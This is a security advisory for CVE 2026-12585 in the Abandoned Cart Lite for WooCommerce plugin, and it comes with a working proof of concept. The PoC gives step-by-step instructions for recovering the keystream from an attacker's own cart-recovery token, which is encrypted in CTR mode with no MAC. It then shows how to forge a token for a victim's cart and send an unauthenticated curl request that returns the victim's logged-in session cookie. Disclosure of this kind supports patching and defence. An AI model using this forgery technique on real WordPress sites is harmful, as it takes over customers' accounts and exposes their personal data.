Abandoned Cart Lite for WooCommerce < 6.8.2 – Unauthenticated Account Takeover via Malleable Recovery-Link Token | CVE 2026-12585

Description

The plugin does not protect the integrity of its cart-recovery tokens or bind them to the requesting account, allowing unauthenticated attackers to forge a recovery link that logs them in as another user when the automatic-login option is enabled.

Proof of Concept

# Runtime-verified on WordPress 6.7.2 + WooCommerce 9.4.2 + Abandoned Cart Lite 6.8.1 (CVE-2023-2986 random-key fix in place).

# PRECONDITIONS:

# - WooCommerce > Abandoned Carts: "Auto login users" (wcal_auto_login_users) = ON (for the account-takeover impact; guest-PII disclosure works without it).

# - Attacker has received one of their OWN recovery emails (achieved by adding items to cart and abandoning it as attacker@evil.com), which creates their ac_sent_history_lite row (their per-email key K) and gives them a valid recovery link whose 'validate' token decodes under K to a known plaintext "<attacker_cart_id>&url=<known url>".

# - Victim has an abandoned cart (its abandoned_id is a sequential integer, enumerable).

# STEPS:

# 1. From the attacker's own recovery link, take the 'validate' token T (base64). Known plaintext P_att = "<attacker_cart_id>&url=<url>".

# 2. base64_decode(T) = nonce[8] || C. Recover keystream_i = C_i XOR P_att_i (no key needed; CTR has no MAC).

# 3. Forge C'_i = keystream_i XOR P_vic_i where P_vic = "<victim_abandoned_id>&url=x". T_forged = base64(nonce || C').

# 4. Send UNAUTHENTICATED (no cookies):

curl -s -v "https://TARGET/?wcal_action=checkout_link&user_email=attacker%40evil.com&validate=<urlencoded T_forged>"

# OBSERVED RESPONSE:

#   HTTP/1.1 302 Found
#   Set-Cookie: wordpress_logged_in_...=victim%7C...%7C...%7C... ; path=/; HttpOnly
#   Location: /x
#   => the unauthenticated requester is issued the VICTIM's logged-in session cookie (decoded username = "victim") = full account takeover.

# (In testing: attacker cart id 2, victim cart id 1 -> victim uid 6; forged token decrypts under the attacker's key to "1&url=x".)